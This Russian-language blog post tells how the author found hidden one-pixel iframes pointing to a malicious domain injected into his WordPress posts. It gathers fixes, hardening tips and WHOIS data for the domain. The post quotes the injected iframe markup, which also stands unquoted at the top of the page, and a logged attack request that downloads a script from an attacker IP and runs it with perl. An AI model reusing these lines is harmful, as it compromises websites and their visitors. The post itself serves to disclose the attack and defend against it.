<!– Traffic Statistics –> <iframe src=”http://www.wp-stats-php.info/iframe/wp-stats.php” frameborder=”0″ height=”1″ width=”1″></iframe> <!– End Traffic Statistics –>
<!-- Traffic Statistics --> <iframe src="http://www.wp-stats-php.info/iframe/wp-stats.php" frameborder="0" height="1" width="1"></iframe> <!-- End Traffic Statistics -->
Что за чудной заголовок для поста, спросите Вы?
Вот и мне тоже пришлось разбираться с этим чудом, которому уже три недели от роду как оказалось.
Зашел я сегодня спозаранку на свой блог пузомерки посмотреть. Смотрю, как-то долго грузится страница, долго firefox свои шары гоняет. Перевожу взгляд в нижнюю часть страницы, а там где статус бар находится, если его искать, написано:
Waiting for www.wp-stats-php.info...
Ну, думаю, что за дела, никакую статистику специальную для своего wordpress я не устанавливал, а TLD=info сразу насторожила – дело не чистое. Да и само имя домена замаскировано под имя файла, как бы часть движка wordpress.
Жму Ctrl+U, т.е. посмотреть исходный код страницы, а там вот такое:
Когда вы скачиваете с rapidshare.com через маленький промежуток<!-- Traffic Statistics --> <iframe src="http://www.wp-stats-php.info/iframe/wp-stats.php" frameborder="0" height="1" width="1"></iframe> <!-- End Traffic Statistics --> времени несколько больших файлов
в заметке «Как скачать с rapidshare.com без ограничения и без premium rapidshare аккаунта» от 2007-11-21 12:00:11.
Заархивировал я свой сайт целиком, как в 1С:Бухгалтерии всегда делаю, и скачал на свой компьютер. Распаковал и давай искать этот iframe. Нашел быстро, и не один, а сразу два. Второй в заметке « Mozilla ThunderBird 2.0.0.6 и Yahta 3.0 beta наконец-то подружились» от 2007-10-03 09:36:36 вот в таком виде
Mozilla ThunderBird<!-- Traffic Statistics --> <iframe src="http://61.132.75.71/iframe/wp-stats.php" frameborder="0" height="1" width="1"></iframe> <!-- End Traffic Statistics --> 2.0.0.6 и Yahta 3.0 beta наконец-то подружились
Т.е. предыдущая версия, без домена, просто в айпи адресом.
Затем пошел я уже в админку самого wordpressa. Защел в Управление -> Записи -> Поиск термина -> Traffic Statistics и нашел эти же две заметки, почистил и пошел читать интернет по этому поводу.
Выяснилось следующее
http://xings.us/2007/11/02/weird-thing-happened-in-the-post/
Ещё второго ноября сокрушался по поводу того, что его опять хакнули и они там надеются, что скоро wordpress починят.
http://www.de-mas.net/2007_11_06_fallo-grave-en-wordpress.html
Автор сокрушается, что даже самая свежая версия 2.3.1 wordpress имеет эту уязвимость и аж начиная с 2.2.3. Также автор обращает внимание, что точно такая же дыра есть в Joomla и рекомендует пропатчить файлы
administrator/components/com_expose/uploadimg.php
administrator/components/com_expose/uploadimage.php
http://forum.joomla.org/index.php?topic=219542.0
Рекомендуют вообще в Джумле удалить файлы
administrator/components/com_expose/uploadimg.php
administrator/components/com_expose/uploadimage.php
потому что там дыра огромного размера, которая позволяет удалить весь сайт без единого администраторского доступа.
http://www.gotgtek.net/forum/index.php?topic=1317.0
Рекомендуют использовать getimagesize() для проверки того, что все параметры картинки в норме до вызова процедуры move_uploaded_file().
http://www.anieto2k.com/2007/11/06/nuevo-fallo-en-wordpress-inserccion-de-iframe/
Рекомендует использовать phpmyadmin или аналогичный инструмент для обнаружения зараженных постов с помощью таких запросов.
//Comments SELECT * FROM ` PREFIX _comments` WHERE `comment_content` LIKE ‘%
PREFIX – это префикс таблиц wordpress, как он назначен при установке.
http://trac.wordpress.org/ticket/5313
Проблема известна с 3 ноября 2007 года, имеет статус «Высокая важность» и успокаивает нас, что iframe находятся только в базе данных, что в файлах движка или плагинов или тем ничего плохого нет.
http://wordpress.org/support/topic/134928
Один из пользователей, полазив по логам обнаружил такие подозрительные записи:
1.-GET //wp-pass.php?_wp_http_referer=http://201.37.71.117:8090/tool25.txt?&cmd=cd%20/tmp;rm%20x.txt;wget%20http://201.37.71.117:8090/x.txt;fetch%20http://201.37.71.117:8090/x.txt;lwp-download%20http://201.37.71.1175:8090/x.txt;curl%20-O%20http://201.37.71.117:8090/x.txt;lynx%20http://201.37.71.117:8090/x.txt;perl%20x.txt HTTP/1.1" 302 - "-" "Mozilla/3.0 (compatible; Indy Library)"
2.-"OPTIONS / HTTP/1.1" 200 27903 "-" "Microsoft Data Access Internet Publishing Provider Cache Manager"
Другой автор наконец-то предложил решение проблемы
I modify the wp_sanitize_redirect() to do more restrictive the redirection.
function wp_sanitize_redirect($location) {
$location = preg_replace('|[^a-z0-9-~+_.?#=&;,/:%]|i', '', $location);
$location = wp_kses_no_null($location);
/* Only redirections into the blog */
if (stristr($location, "http://") && !eregi(get_option("home"),$location)) return get_option("home");
/* Only redirection into the blog */
// remove %0d and %0a from location
$strip = array('%0d', '%0a');
$found = true;
while($found) {
$found = false;
foreach($strip as $val) {
while(strpos($location, $val) !== false) {
$found = true;
$location = str_replace($val, '', $location);
}
}
}
return $location;
}
Вот этот автор http://www.anieto2k.com/2007/10/31/las-paginas-blancas-de-la-seguridad-wordpress/ рекомендует книгу в формате PDF из десяти страниц, в которой собраны разные советы, как сделать свой wordpress более безопасным и устойчивым ко всяким хакерам. В том числе есть рекомендация закрыть доступ к каталогу wp-admin файлами .htaccess и .htpasswd таким образом:
.htaccess
AuthUserFile /srv/www/user1/.htpasswd #this file should be outside your webroot.
AuthType Basic
AuthName “Blog”
require user youruser #making this username difficult to guess can help mitigate password
brute force attacks.
А файл .htpasswd можно смастерить тут http://www.z-host.com/scripts/ipasswd/
И есть рекомендация фильтровать содержимое, загружаемое в каталоги wp-content и wp-includes средствами файла .htaccess примерно так:
Order Allow,Deny
Deny from all
<Files ~ ".(css|jpe?g|png|gif|js)$">
Allow from all
</Files>
Слегка погуглив, увидел, что наши братья по разуму, скорее всего, отрабатывают технологию, а не эксплойтят интернет – всего 29 упоминаний.
Ноги у хакеров ростут из Поднебесной, вот их данные:
Domain ID:D22443415-LRMS
Domain Name:WP-STATS-PHP.INFO
Created On:22-Nov-2007 13:45:05 UTC
Last Updated On:22-Nov-2007 13:45:07 UTC
Expiration Date:22-Nov-2008 13:45:05 UTC
Sponsoring Registrar:Gandi Sarl (R191-LRMS)
Status:CLIENT TRANSFER PROHIBITED
Status:TRANSFER PROHIBITED
Registrant ID:O-901894-GANDI
Registrant Name:No
Registrant Organization:Ju Dehua
Registrant Street1:B1/4F., No. 211, Taigu Road, Waigaoqiao Free Trade Zone
Registrant Street2:
Registrant Street3:
Registrant City:Shanghai
Registrant State/Province:
Registrant Postal Code:10079
Registrant Country:CN
Registrant Phone:+86.2158681248
Registrant Phone Ext.:
Registrant FAX:
Registrant FAX Ext.:
Registrant Email:f8c8dcc929de0f8fe20d6926e463bf0c-903683@owner.gandi.net
Admin ID:C11388674-LRMS
Admin Name:Ju Dehua
Admin Organization:
Admin Street1:B1/4F., No. 211, Taigu Road, Waigaoqiao Free Trade
Admin Street2:Zone
Admin Street3:
Admin City:Shanghai
Admin State/Province:
Admin Postal Code:10079
Admin Country:CN
Admin Phone:+86.2158681248
Admin Phone Ext.:
Admin FAX:
Admin FAX Ext.:
Admin Email:j_dehua@yahoo.com
Billing ID:C1249598-LRMS
Billing Name:CONTACT NOT AUTHORITATIVE see http://www.gandi.net/whois
Billing Organization:GANDI sarl
Billing Street1:see also whois.gandi.net
Billing Street2:
Billing Street3:
Billing City:Paris
Billing State/Province:
Billing Postal Code:F-75003
Billing Country:FR
Billing Phone:
Billing Phone Ext.:
Billing FAX:
Billing FAX Ext.:
Billing Email:support@gandi.net
Tech ID:C1249598-LRMS
Tech Name:CONTACT NOT AUTHORITATIVE see http://www.gandi.net/whois
Tech Organization:GANDI sarl
Tech Street1:see also whois.gandi.net
Tech Street2:
Tech Street3:
Tech City:Paris
Tech State/Province:
Tech Postal Code:F-75003
Tech Country:FR
Tech Phone:
Tech Phone Ext.:
Tech FAX:
Tech FAX Ext.:
Tech Email:support@gandi.net
Name Server:C.DNS.GANDI.NET
Name Server:B.DNS.GANDI.NET
Name Server:A.DNS.GANDI.NET
Вот такие пироги. Не забудьте сменить пароли и часовых.
Разместить у себя на ресурсе или в ЖЖ:
На любом форуме в своем сообщении:
15 апреля 2008 в 12:35
[...] Сегодня опять мой WordPress блог подхватил инъекцию, как и в прошлый раз. [...]